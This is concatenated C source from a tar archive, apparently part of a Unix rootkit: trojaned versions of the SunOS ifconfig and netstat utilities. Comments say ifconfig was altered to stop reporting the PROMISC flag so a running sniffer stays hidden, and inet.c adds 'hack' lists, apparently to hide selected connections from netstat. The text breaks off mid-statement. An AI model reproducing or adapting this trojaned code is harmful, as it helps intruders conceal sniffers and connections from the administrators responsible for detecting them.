5.3 4/23/86 */ #endif #include #include #include #include #include #include #ifdef ENABLE_XNS #include #endif ENABLE_XNS #include extern int aflag; extern int tflag; extern int nflag; extern char *interface; extern int unit; extern int kread(); extern char *routename(), *netname(); /* * Print a description of the network interfaces. */ intpr(interval, ifnetaddr) int interval; off_t ifnetaddr; { struct ifnet ifnet; union { struct ifaddr ifa; struct in_ifaddr in; } ifaddr; off_t ifaddraddr; char name[16]; if (ifnetaddr == 0) { printf("ifnet: symbol not defined\n"); return; } if (interval) { sidewaysintpr(interval, ifnetaddr); return; } kread(ifnetaddr, &ifnetaddr, sizeof ifnetaddr); printf("%-5.5s %-5.5s%-13.13s %-14.14s %-6.6s %-5.5s %-6.6s %-5.5s", "Name", "Mtu", "Net/Dest", "Address", "Ipkts", "Ierrs", "Opkts", "Oerrs"); printf(" %-6.6s", "Collis"); if (tflag) printf(" %-6.6s", "Timer"); else printf(" %-6.6s", "Queue"); putchar('\n'); ifaddraddr = 0; while (ifnetaddr || ifaddraddr) { struct sockaddr_in *sin; register char *cp; int n, pad; char *index(); struct in_addr in, inet_makeaddr(); char buf[80]; if (ifaddraddr == 0) { /* * No address list for the current interface: * find the first address. */ if (kread(ifnetaddr, &ifnet, sizeof ifnet) < 0) break; if (kread((off_t)ifnet.if_name, name, 16) < 0) break; name[15] = '\0'; ifnetaddr = (off_t) ifnet.if_next; /* * If a particular interface has been singled * out, skip over all others. */ if (interface) { if (strcmp(name, interface) != 0 || unit != ifnet.if_unit) continue; } /* * Extend device name with unit number. */ cp = index(name, '\0'); *cp++ = ifnet.if_unit + '0'; if ((ifnet.if_flags&IFF_UP) == 0) { /* * The interface is down: don't report on it * unless it's been singled out or we're * reporting everything. */ if (!interface && !aflag) continue; *cp++ = '*'; } *cp = '\0'; ifaddraddr = (off_t)ifnet.if_addrlist; } if (ifaddraddr == 0) { /* * There's no address associated with the current * interface. */ if (!aflag) continue; printf("%-5s %-5d", name, ifnet.if_mtu); printf("%-13.13s ", "none"); printf("%-14.14s ", "none"); } else { printf("%-5s %-5d", name, ifnet.if_mtu); kread(ifaddraddr, &ifaddr, sizeof ifaddr); ifaddraddr = (off_t)ifaddr.ifa.ifa_next; switch (ifaddr.ifa.ifa_addr.sa_family) { case AF_UNSPEC: printf("%-13.13s ", "none"); printf("%-14.14s ", "none"); break; case AF_INET: if (ifnet.if_flags & IFF_POINTOPOINT) { sin = (struct sockaddr_in *) &ifaddr.in.ia_dstaddr; printf("%-13s ", routename(sin->sin_addr)); } else { printf("%-13s ", netname(htonl(ifaddr.in.ia_subnet), ifaddr.in.ia_subnetmask)); } sin = (struct sockaddr_in *)&ifaddr.in.ia_addr; printf("%-14s ", routename(sin->sin_addr)); break; #ifdef ENABLE_XNS case AF_NS: { struct sockaddr_ns *sns = (struct sockaddr_ns *)&ifaddr.in.ia_addr; long net; char host[8]; *(union ns_net *) &net = sns->sns_addr.x_net; sprintf(host, "%lxH", ntohl(net)); upHex(host); printf("ns:%-8s ", host); printf("%-12s ",ns_phost(sns)); break; } #endif ENABLE_XNS default: pad = 29; /* chars in this field */ /* * We use this roundabout sprintf into a * buffer technique here so that we * can count the number of characters we * print. System V printf doesn't return * the number of bytes written. */ sprintf(buf, "af%2d: ", ifaddr.ifa.ifa_addr.sa_family); pad -= strlen(buf); printf("%s", buf); /* * Shave off trailing zero bytes in the * address for printing, but always print * at least one byte. */ for (cp = (char *)&ifaddr.ifa.ifa_addr + sizeof(struct sockaddr) - 1; cp > ifaddr.ifa.ifa_addr.sa_data; --cp) if (*cp != 0) break; n = cp - (char *)ifaddr.ifa.ifa_addr.sa_data + 1; cp = (char *)ifaddr.ifa.ifa_addr.sa_data; if (n <= 6) while (--n) { sprintf(buf, "%02d.", *cp++ & 0xff); pad -= strlen(buf); printf("%s", buf); } else while (--n) { sprintf(buf, "%02d", *cp++ & 0xff); pad -= strlen(buf); printf("%s", buf); } sprintf(buf, "%02d ", *cp & 0xff); pad -= strlen(buf); printf("%s", buf); if (pad > 0) while (pad--) printf(" "); break; } } printf("%-7d %-4d %-7d %-4d %-6d", ifnet.if_ipackets, ifnet.if_ierrors, ifnet.if_opackets, ifnet.if_oerrors, ifnet.if_collisions); if (tflag) printf(" %-6d", ifnet.if_timer); else printf(" %-6d", ifnet.if_snd.ifq_len); putchar('\n'); } } #define MAXIF 20 struct iftot { char ift_name[16]; /* interface name */ int ift_ip; /* input packets */ int ift_ie; /* input errors */ int ift_op; /* output packets */ int ift_oe; /* output errors */ int ift_co; /* collisions */ } iftot[MAXIF]; /* * Print a running summary of interface statistics. * Repeat display every interval seconds, showing * statistics collected over that interval. First * line printed at top of screen is always cumulative. */ sidewaysintpr(interval, off) int interval; off_t off; { struct ifnet ifnet; off_t firstifnet; static char sobuf[BUFSIZ]; register struct iftot *ip, *total; register int line; struct iftot *lastif, *sum, *interesting; int maxtraffic, traffic; setbuf(stdout, sobuf); kread(off, &firstifnet, sizeof (off_t)); lastif = iftot; sum = iftot + MAXIF - 1; total = sum - 1; maxtraffic = 0, interesting = iftot; for (off = firstifnet, ip = iftot; off;) { char *cp; kread(off, &ifnet, sizeof ifnet); traffic = ifnet.if_ipackets + ifnet.if_opackets; if (traffic > maxtraffic) maxtraffic = traffic, interesting = ip; ip->ift_name[0] = '('; kread((int)ifnet.if_name, ip->ift_name + 1, 15); if (interface && strcmp(ip->ift_name + 1, interface) == 0 && unit == ifnet.if_unit) { interesting = ip; maxtraffic = 0x7FFFFFFF; } ip->ift_name[15] = '\0'; cp = index(ip->ift_name, '\0'); sprintf(cp, "%d)", ifnet.if_unit); ip++; if (ip >= iftot + MAXIF - 2) break; off = (off_t) ifnet.if_next; } lastif = ip; banner: printf(" input %-6.6s output ", interesting->ift_name); if (lastif - iftot > 0) printf(" input (Total) output "); for (ip = iftot; ip < iftot + MAXIF; ip++) { ip->ift_ip = 0; ip->ift_ie = 0; ip->ift_op = 0; ip->ift_oe = 0; ip->ift_co = 0; } putchar('\n'); printf("%-7.7s %-5.5s %-7.7s %-5.5s %-6.6s ", "packets", "errs", "packets", "errs", "colls"); if (lastif - iftot > 0) printf("%-7.7s %-5.5s %-7.7s %-5.5s %-6.6s ", "packets", "errs", "packets", "errs", "colls"); putchar('\n'); fflush(stdout); line = 0; loop: sum->ift_ip = 0; sum->ift_ie = 0; sum->ift_op = 0; sum->ift_oe = 0; sum->ift_co = 0; for (off = firstifnet, ip = iftot; off && ip < lastif; ip++) { kread(off, &ifnet, sizeof ifnet); if (ip == interesting) printf("%-7d %-5d %-7d %-5d %-6d ", ifnet.if_ipackets - ip->ift_ip, ifnet.if_ierrors - ip->ift_ie, ifnet.if_opackets - ip->ift_op, ifnet.if_oerrors - ip->ift_oe, ifnet.if_collisions - ip->ift_co); ip->ift_ip = ifnet.if_ipackets; ip->ift_ie = ifnet.if_ierrors; ip->ift_op = ifnet.if_opackets; ip->ift_oe = ifnet.if_oerrors; ip->ift_co = ifnet.if_collisions; sum->ift_ip += ip->ift_ip; sum->ift_ie += ip->ift_ie; sum->ift_op += ip->ift_op; sum->ift_oe += ip->ift_oe; sum->ift_co += ip->ift_co; off = (off_t) ifnet.if_next; } if (lastif - iftot > 0) printf("%-7d %-5d %-7d %-5d %-6d\n", sum->ift_ip - total->ift_ip, sum->ift_ie - total->ift_ie, sum->ift_op - total->ift_op, sum->ift_oe - total->ift_oe, sum->ift_co - total->ift_co); *total = *sum; fflush(stdout); line++; if (interval) sleep(interval); if (line == 21) goto banner; goto loop; /*NOTREACHED*/ } ifconfig.c100600 0 0 51416 77607620340 11137 0ustar rootroot/*+ Modified to remove PROMISC message when -a flag is passed +*/ /* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. * * @(#)ifconfig.c 1.1 91/11/13 SMI from UCB 4.18 5/22/86 */ #include #include #include #include #include #include #include #ifdef NS #define NSIP #include #include #endif #ifdef APPLETALK #include #endif APPLETALK #define NIT #ifdef NIT #include #include #endif #include #include #include #include char *inet_ntoa(); struct ifreq ifr; struct sockaddr_in sin = { AF_INET }; struct sockaddr_in broadaddr; struct sockaddr_in netmask = { AF_INET }; struct sockaddr_in ipdst = { AF_INET }; char name[30]; int setaddr; int setmask; int setbroadaddr; int setipdst; int s; void setifflags(), setifaddr(), setifdstaddr(), setifnetmask(); void setifmetric(), setifbroadaddr(), setifipdst(), setifether(); #define NEXTARG 0xffffff #define AF_ANY (-1) struct cmd { char *c_name; int c_parameter; /* NEXTARG means next argv */ void (*c_func)(); int c_af; /* address family restrictions */ } cmds[] = { { "up", IFF_UP, setifflags, AF_ANY } , { "down", -IFF_UP, setifflags, AF_ANY }, { "trailers", -IFF_NOTRAILERS,setifflags, AF_ANY }, { "-trailers", IFF_NOTRAILERS, setifflags, AF_ANY }, { "arp", -IFF_NOARP, setifflags, AF_ANY }, { "-arp", IFF_NOARP, setifflags, AF_ANY }, { "private", IFF_PRIVATE, setifflags, AF_ANY }, { "-private", -IFF_PRIVATE, setifflags, AF_ANY }, { "netmask", NEXTARG, setifnetmask, AF_INET }, { "metric", NEXTARG, setifmetric, AF_ANY }, { "broadcast", NEXTARG, setifbroadaddr, AF_ANY }, { "ipdst", NEXTARG, setifipdst, AF_NS }, { "ether", NEXTARG, setifether, AF_ANY }, { 0, 0, setifaddr, AF_ANY }, { 0, 0, setifdstaddr, AF_ANY }, }; /* * XNS support liberally adapted from * code written at the University of Maryland * principally by James O'Toole and Chris Torek. */ int in_status(), in_getaddr(); int xns_status(), xns_getaddr(); int at_status(), at_getaddr(); int ether_status(), ether_getaddr(); /* Known address families */ struct afswtch { char *af_name; short af_af; int (*af_status)(); int (*af_getaddr)(); } afs[] = { { "inet", AF_INET, in_status, in_getaddr }, { "ns", AF_NS, xns_status, xns_getaddr }, { "appletalk", AF_APPLETALK, at_status, at_getaddr }, { "ether", AF_INET, ether_status, ether_getaddr }, { 0, 0, 0, 0 } }; struct afswtch *afp; /*the address family being set or asked about*/ main(argc, argv) int argc; char *argv[]; { int af = AF_INET; void foreachinterface(), ifconfig(); if (argc < 2) { fprintf(stderr, "usage: ifconfig interface\n%s%s%s%s%s\n", "\t[ ] [
[ ] ] [ up ] [ down ]\n", "\t[ netmask ] [ broadcast ]\n", "\t[ metric ]\n", "\t[ trailers | -trailers ] [private | -private]\n", "\t[ arp | -arp ] \n"); exit(1); } argc--, argv++; strncpy(name, *argv, sizeof(name)); argc--, argv++; if (argc > 0) { struct afswtch *myafp; for (myafp = afp = afs; myafp->af_name; myafp++) if (strcmp(myafp->af_name, *argv) == 0) { afp = myafp; argc--; argv++; break; } af = ifr.ifr_addr.sa_family = afp->af_af; } s = socket(af, SOCK_DGRAM, 0); if (s < 0) { perror("ifconfig: socket"); exit(1); } if (strcmp(name, "-a")) ifconfig(argc, argv, af, (struct ifnet *) NULL); else foreachinterface(ifconfig, argc, argv, af); exit(0); /* NOTREACHED */ } /* * For each interface, call (*func)(argc, argv, af, ifrp). */ void foreachinterface(func, argc, argv, af) void (*func)(); int argc; char **argv; int af; { int n; char buf[BUFSIZ]; struct ifconf ifc; register struct ifreq *ifrp; ifc.ifc_len = sizeof (buf); ifc.ifc_buf = buf; if (ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) { perror("ioctl (get interface configuration)"); close(s); return; } ifrp = ifc.ifc_req; for (n = ifc.ifc_len / sizeof (struct ifreq); n > 0; n--, ifrp++) { /* * We must close and recreate the socket each time * since we don't know what type of socket it is now * (each status function may change it). */ (void) close(s); s = socket(af, SOCK_DGRAM, 0); if (s == -1) { perror("ifconfig: socket"); exit(1); } /* * Reset global state variables to known values. */ setaddr = setbroadaddr = setipdst = setmask = 0; (void) strncpy(name, ifrp->ifr_name, sizeof(name)); (*func)(argc, argv, af, ifrp); } } void ifconfig(argc, argv, af, ifrp) int argc; char **argv; int af; register struct ifreq *ifrp; { if (argc == 0) { status(); return; } while (argc > 0) { register struct cmd *p; for (p = cmds; p->c_name; p++) if (strcmp(*argv, p->c_name) == 0) break; if (p->c_name == 0 && setaddr) p++; /* got src, do dst */ if (p->c_func) { if (p->c_parameter == NEXTARG) { argc--, argv++; if (argc == 0) { (void) fprintf(stderr, "ifconfig: no argument for %s\n", p->c_name); exit(1); } /* * Call the function if: * * there's no address family * restriction * OR * we don't know the address yet * (because we were called from * main) * OR * there is a restriction and * the address families match */ if ((p->c_af == AF_ANY) || (ifrp == (struct ifreq *) NULL) || (ifrp->ifr_addr.sa_family == p->c_af) ) (*p->c_func)(*argv); } else if ((p->c_af == AF_ANY) || (ifrp == (struct ifreq *) NULL) || (ifrp->ifr_addr.sa_family == p->c_af) ) (*p->c_func)(*argv, p->c_parameter); } argc--, argv++; } if ((setmask || setaddr) && (af == AF_INET) && netmask.sin_addr.s_addr != INADDR_ANY) { /* * If setting the address and not the mask, * clear any existing mask and the kernel will then * assign the default. If setting both, * set the mask first, so the address will be * interpreted correctly. */ strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); ifr.ifr_addr = *(struct sockaddr *)&netmask; if (ioctl(s, SIOCSIFNETMASK, (caddr_t)&ifr) < 0) Perror("ioctl (SIOCSIFNETMASK)"); } #ifdef NS if (setipdst && af == AF_NS) { struct nsip_req rq; int size = sizeof(rq); rq.rq_ns = *(struct sockaddr *) &sin; rq.rq_ip = *(struct sockaddr *) &ipdst; if (setsockopt(s, 0, SO_NSIP_ROUTE, &rq, size) < 0) Perror("Encapsulation Routing"); setaddr = 0; } #endif if (setaddr) { ifr.ifr_addr = *(struct sockaddr *) &sin; strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCSIFADDR, (caddr_t)&ifr) < 0) Perror("ioctl (SIOCSIFADDR)"); } if (setbroadaddr) { ifr.ifr_addr = *(struct sockaddr *)&broadaddr; strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCSIFBRDADDR, (caddr_t)&ifr) < 0) Perror("ioctl (SIOCSIFBRDADDR)"); } } /*ARGSUSED*/ void setifaddr(addr, param) char *addr; short param; { /* * Delay the ioctl to set the interface addr until flags are all set. * The address interpretation may depend on the flags, * and the flags may change when the address is set. */ setaddr++; (*afp->af_getaddr)(addr, &sin); } void setifnetmask(addr) char *addr; { if (strcmp(addr, "+") == 0) { setmask = in_getmask( &netmask); return; } in_getaddr(addr, &netmask); setmask++; } void setifbroadaddr(addr) char *addr; { /* * This doesn't set the broadcast address at all. Rather, it * gets, then sets the interface's address, relying on the fact * that resetting the address will reset the broadcast address. */ if (strcmp(addr, "+") == 0) { if (!setaddr) { /* * If we do not already have an address to set, * then we just read the interface to see if it * is already set. */ strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) { if (errno != EADDRNOTAVAIL) perror("SIOCGIFADDR failed - cannot reset broadcast address"); return; } sin = * ( (struct sockaddr_in *)&ifr.ifr_addr); setaddr++; } /* * Turn off setbraodcast to allow for the (rare) * case of a user saying * ifconfig ... broadcast ... broadcast + */ setbroadaddr = 0; return; } (*afp->af_getaddr)(addr, &broadaddr); setbroadaddr++; } void setifipdst(addr) char *addr; { in_getaddr(addr, &ipdst); setipdst++; } /*ARGSUSED*/ void setifdstaddr(addr, param) char *addr; int param; { (*afp->af_getaddr)(addr, &ifr.ifr_addr); strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCSIFDSTADDR, (caddr_t)&ifr) < 0) Perror("ioctl (SIOCSIFDSTADDR)"); } void setifflags(vname, value) char *vname; int value; { strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFFLAGS, (caddr_t)&ifr) < 0) Perror("ioctl (SIOCGIFFLAGS)"); if (value < 0) { value = -value; ifr.ifr_flags &= ~value; } else ifr.ifr_flags |= value; strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCSIFFLAGS, (caddr_t)&ifr) < 0) Perror(vname); } void setifmetric(val) char *val; { strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); ifr.ifr_metric = atoi(val); if (ioctl(s, SIOCSIFMETRIC, (caddr_t)&ifr) < 0) perror("ioctl (set metric)"); } void setifether(addr) char *addr; { #ifdef NIT int t; struct ether_addr *ea, *ether_aton(); t = open("/dev/nit", O_RDONLY); if (t == -1) { perror("/dev/nit"); exit(1); } strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(t, NIOCBIND, (caddr_t) &ifr) < 0) { perror("ioctl: NIOCBIND"); exit(1); } ea = ether_aton(addr); (void) bcopy((caddr_t) ifr.ifr_addr.sa_data, ea, sizeof(struct ether_addr)); if (ioctl(t, SIOCSIFADDR, (caddr_t)&ifr) == -1) { perror("ioctl (SIOCSIFADDR)"); } (void) close(t); #endif /* NIT */ } /*+ Here are old bit flags #define IFFBITS \ "\020\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING\10NOARP\11PROMISC\12MULTI\020PRIVATE" +*/ /*+ Just remove the bit flag and no more PROMISC message. if they run strings they won't find PROMISC message, but if they are running strings on binaries, chances are they know your there already and are going to find you :-) +*/ #define IFFBITS \ "\020\1UP\2BROADCAST\3DEBUG\4LOOPBACK\5POINTOPOINT\6NOTRAILERS\7RUNNING\10NOARP\12MULTI\020PRIVATE" /* * Print the status of the interface. If an address family was * specified, show it and it only; otherwise, show them all. */ status() { register struct afswtch *p = afp; short af = ifr.ifr_addr.sa_family; register int flags; strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(s, SIOCGIFFLAGS, (caddr_t)&ifr) < 0) { Perror("ioctl (SIOCGIFFLAGS)"); exit(1); } flags = ifr.ifr_flags; printf("%s: ", name); printb("flags", flags, IFFBITS); strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(s, SIOCGIFMETRIC, (caddr_t)&ifr) < 0) perror("ioctl (SIOCGIFMETRIC)"); else { if (ifr.ifr_metric) printf(" metric %d", ifr.ifr_metric); } putchar('\n'); if ((p = afp) != NULL) { (*p->af_status)(1, flags); } else for (p = afs; p->af_name; p++) { ifr.ifr_addr.sa_family = p->af_af; (*p->af_status)(0, flags); } } in_status(force, flags) int force; int flags; { struct sockaddr_in *sin; char *inet_ntoa(); strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL || errno == EAFNOSUPPORT) { if (!force) return; bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); } else Perror("ioctl (SIOCGIFADDR)"); } sin = (struct sockaddr_in *)&ifr.ifr_addr; printf("\tinet %s ", inet_ntoa(sin->sin_addr)); strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFNETMASK, (caddr_t)&ifr) < 0) { if (errno != EADDRNOTAVAIL) perror("ioctl (SIOCGIFNETMASK)"); bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); } else netmask.sin_addr = ((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr; if (flags & IFF_POINTOPOINT) { strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFDSTADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL) bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); else perror("ioctl (SIOCGIFDSTADDR)"); } sin = (struct sockaddr_in *)&ifr.ifr_dstaddr; printf("--> %s ", inet_ntoa(sin->sin_addr)); } printf("netmask %x ", ntohl(netmask.sin_addr.s_addr)); if (flags & IFF_BROADCAST) { strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFBRDADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL) bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); else perror("ioctl (SIOCGIFADDR)"); } sin = (struct sockaddr_in *)&ifr.ifr_addr; if (sin->sin_addr.s_addr != 0) printf("broadcast %s", inet_ntoa(sin->sin_addr)); } putchar('\n'); } xns_status(force, flags) int force; int flags; { #ifdef NS struct sockaddr_ns *sns; close(s); s = socket(AF_NS, SOCK_DGRAM, 0); if (s < 0) { if (errno == EAFNOSUPPORT || errno == EPROTONOSUPPORT) return; perror("ifconfig: ns socket"); exit(1); } strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL || errno == EAFNOSUPPORT) { if (!force) return; bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); } else perror("ioctl (SIOCGIFADDR)"); } sns = (struct sockaddr_ns *)&ifr.ifr_addr; printf("\tns %s ", ns_ntoa(sns->sns_addr)); if (flags & IFF_POINTOPOINT) { /* by W. Nesheim@Cornell */ strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(s, SIOCGIFDSTADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL) bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); else Perror("ioctl (SIOCGIFDSTADDR)"); } sns = (struct sockaddr_ns *)&ifr.ifr_dstaddr; printf("--> %s ", ns_ntoa(sns->sns_addr)); } putchar('\n'); #endif } #ifdef APPLETALK char * at_ntoa(sad) struct a_addr sad; { static char buf[256]; (void) sprintf( buf, "%d.%d", sad.at_Net, sad.at_Node); return(buf); } #endif AAPLETALK at_status(force, flags) int force; int flags; { #ifdef APPLETALK struct sockaddr_at *sat; close(s); s = socket(AF_APPLETALK, SOCK_DGRAM, 0); if (s < 0) { if (errno == EAFNOSUPPORT || errno == EPROTONOSUPPORT) return; perror("ifconfig: appletalk socket"); exit(1); } strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL || errno == EAFNOSUPPORT) { if (!force) return; bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); } else perror("ioctl (SIOCGIFADDR)"); } sat = (struct sockaddr_at *)&ifr.ifr_addr; printf("\tappletalk %s ", at_ntoa(sat->at_addr)); if (flags & IFF_POINTOPOINT) { strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(s, SIOCGIFDSTADDR, (caddr_t)&ifr) < 0) { if (errno == EADDRNOTAVAIL) bzero((char *)&ifr.ifr_addr, sizeof(ifr.ifr_addr)); else Perror("ioctl (SIOCGIFDSTADDR)"); } sat = (struct sockaddr_at *)&ifr.ifr_dstaddr; printf("--> %s ", at_ntoa(sat->at_addr)); } putchar('\n'); #endif APPLETALK } /*ARGSUSED*/ ether_status(force, flags) int force; int flags; { #ifdef NIT register struct sockaddr *saddr; char *ether_ntoa(); if (getuid()) return; (void) close(s); s = open("/dev/nit", O_RDONLY); if (s == -1) if (force) { perror("/dev/nit"); exit(1); } else return; strncpy(ifr.ifr_name, name, sizeof ifr.ifr_name); if (ioctl(s, NIOCBIND, (caddr_t) &ifr) < 0) { perror("ioctl: NIOCBIND"); exit(1); } if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) { if (errno == EINVAL) return; else perror("ioctl (SIOCGIFADDR)"); } saddr = (struct sockaddr *)&ifr.ifr_addr; printf("\tether %s ", ether_ntoa((struct ether_addr *) saddr->sa_data)); putchar('\n'); #endif /* NIT */ } Perror(cmd) char *cmd; { extern int errno; fprintf(stderr, "ifconfig: "); switch (errno) { case ENXIO: fprintf(stderr, "%s: no such interface\n", cmd); break; case EPERM: fprintf(stderr, "%s: permission denied\n", cmd); break; default: perror(cmd); } exit(1); } struct in_addr inet_makeaddr(); in_getaddr(s, saddr) char *s; struct sockaddr *saddr; { register struct sockaddr_in *sin = (struct sockaddr_in *)saddr; struct hostent *hp; struct netent *np; int val; bzero((char *)saddr, sizeof *saddr); sin->sin_family = AF_INET; /* * Try to catch attempts to set the broadcast address to all 1's. */ if (strcmp(s,"255.255.255.255") == 0 || ((u_int) strtol(s, (char **) NULL, 0) == (u_int) 0xffffffff)) { sin->sin_addr.s_addr = 0xffffffff; return; } val = inet_addr(s); if (val != -1) { sin->sin_addr.s_addr = val; return; } hp = gethostbyname(s); if (hp) { sin->sin_family = hp->h_addrtype; bcopy(hp->h_addr, (char *)&sin->sin_addr, hp->h_length); return; } np = getnetbyname(s); if (np) { sin->sin_family = np->n_addrtype; sin->sin_addr = inet_makeaddr(np->n_net, INADDR_ANY); return; } fprintf(stderr, "ifconfig: %s: bad address\n", s); exit(1); } /* * Print a value a la the %b format of the kernel's printf */ printb(s, v, bits) char *s; register char *bits; register unsigned short v; { register int i, any = 0; register char c; if (bits && *bits == 8) printf("%s=%o", s, v); else printf("%s=%x", s, v); bits++; if (bits) { putchar('<'); while (i = *bits++) { if (v & (1 << (i-1))) { if (any) putchar(','); any = 1; for (; (c = *bits) > 32; bits++) putchar(c); } else for (; *bits > 32; bits++) ; } putchar('>'); } } xns_getaddr(addr, saddr) char *addr; struct sockaddr *saddr; { #ifdef NS struct sockaddr_ns *sns = (struct sockaddr_ns *)saddr; struct ns_addr ns_addr(); bzero((char *)saddr, sizeof *saddr); sns->sns_family = AF_NS; sns->sns_addr = ns_addr(addr); #endif } at_getaddr(addr, saddr) char *addr; struct sockaddr *saddr; { # ifdef APPLETALK struct sockaddr_at *sat = (struct sockaddr_at *)saddr; bzero((char *)saddr, sizeof *saddr); sat->at_family = AF_APPLETALK; sat->at_addr.at_Net = atoi(addr); # endif APPLETALK } extern struct ether_addr *ether_aton(); ether_getaddr(addr, saddr) char *addr; struct sockaddr *saddr; { struct ether_addr *eaddr; bzero((char *)saddr, sizeof *saddr); saddr->sa_family = AF_UNSPEC; /* * call the library routine to do the conversion. */ eaddr = ether_aton(addr); if (eaddr == NULL) { fprintf(stderr, "ifconfig: %s: bad address\n", addr); exit(1); } bcopy(eaddr, saddr->sa_data, sizeof(struct ether_addr)); } # include /* * get the appropriate network mask entry given an address */ char * getmaskbyaddr(netname) char *netname; { static char *ypDomain = NULL; char *out, *strtok(); int keylen, outsize, stat; FILE *f; static char line[1024]; if (ypDomain == NULL) yp_get_default_domain(&ypDomain); if (ypDomain != NULL) { keylen = strlen(netname); stat = yp_match(ypDomain, "netmasks.byaddr", netname, keylen, &out, &outsize); if (stat == 0) return(out); if (stat == YPERR_KEY) return(0); } /* * NIS did not work - read the local file */ f = fopen("/etc/netmasks", "r"); if (f == NULL) return(0); while (fgets(line, sizeof(line)-1, f)) { out = strtok(line, " \t\n"); if (strcmp(line,netname) == 0) { out = strtok(NULL, " \t\n"); return(out); } } fclose(f); return(0); } /* * Look in the NIS for the network mask. * returns true if we found one to set. */ in_getmask(saddr) struct sockaddr_in *saddr; { char *out; u_char *bytes; int val; char key[128]; struct in_addr net; u_long i; if (!setaddr) { /* * If we do not already have an address to set, then we just * read the interface to see if it is already set. */ strncpy(ifr.ifr_name, name, sizeof (ifr.ifr_name)); if (ioctl(s, SIOCGIFADDR, (caddr_t)&ifr) < 0) { if (errno != EADDRNOTAVAIL) printf("Need net number for mask\n"); return(0); } sin = * ( (struct sockaddr_in *)&ifr.ifr_addr); } i = ntohl(sin.sin_addr.s_addr); bytes = (u_char *)(&net); if (IN_CLASSA(i)) { net.s_addr = htonl(i & IN_CLASSA_NET); sprintf(key, "%d", bytes[0]); } else if (IN_CLASSB(i)) { net.s_addr = htonl(i & IN_CLASSB_NET); sprintf(key, "%d.%d", bytes[0], bytes[1]); } else { net.s_addr = htonl(i & IN_CLASSC_NET); sprintf(key, "%d.%d.%d", bytes[0], bytes[1], bytes[2]); } out = getmaskbyaddr(key); if (out == NULL) { /* * If at first not found, try unshifted too */ strcpy( key, inet_ntoa(net)); out = getmaskbyaddr(key); if (out == NULL) { saddr->sin_addr.s_addr = INADDR_ANY; return(0); } } val = (int)inet_addr(out); if (val == -1) { printf("Invalid netmask for %s: %s\n", key, out); return(0); } saddr->sin_family = AF_INET; saddr->sin_addr.s_addr = val; printf("Setting netmask of %s to %s\n", name, inet_ntoa(saddr->sin_addr) ); return(1); } inet.c100600 0 0 34237 5656060664 10276 0ustar rootroot/* * Copyright (c) 1983, 1988 Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * duplicated in all such forms and that any documentation, * advertising materials, and other materials related to such * distribution and use acknowledge that the software was developed * by the University of California, Berkeley. The name of the * University may not be used to endorse or promote products derived * from this software without specific prior written permission. */ #ifndef lint static char sccsid[] = "@(#)inet.c 1.1 91/11/13 SMI"; /* from UCB 5.11 6/29/88 */ #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define TCPSTATES #include #include #include #include #include #include #include #include "config.h" struct inpcb inpcb; struct tcpcb tcpcb; struct socket sockb; extern int kread(); extern int Aflag; extern int aflag; extern int nflag; extern char *plural(); char *inetname(); /*+ Hack vars +*/ #define STR_SIZE 128 #define SEP_CHAR " \n" struct h_st { struct h_st *next; int hack_type; char hack_cmd[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; char *strp; FILE *fp_hack; int s_ns; /*+ End hack vars +*/ /* * Print a summary of connections related to an Internet * protocol. For TCP, also give state of connection. * Listening processes (aflag) are suppressed unless the * -a (all) flag is specified. */ protopr(off, name) off_t off; char *name; { struct inpcb cb; register struct inpcb *prev, *next; int istcp; static int first = 1; if (off == 0) return; /*+ Read in hacks lists and build list of hack types +*/ h_tmp=(struct h_st 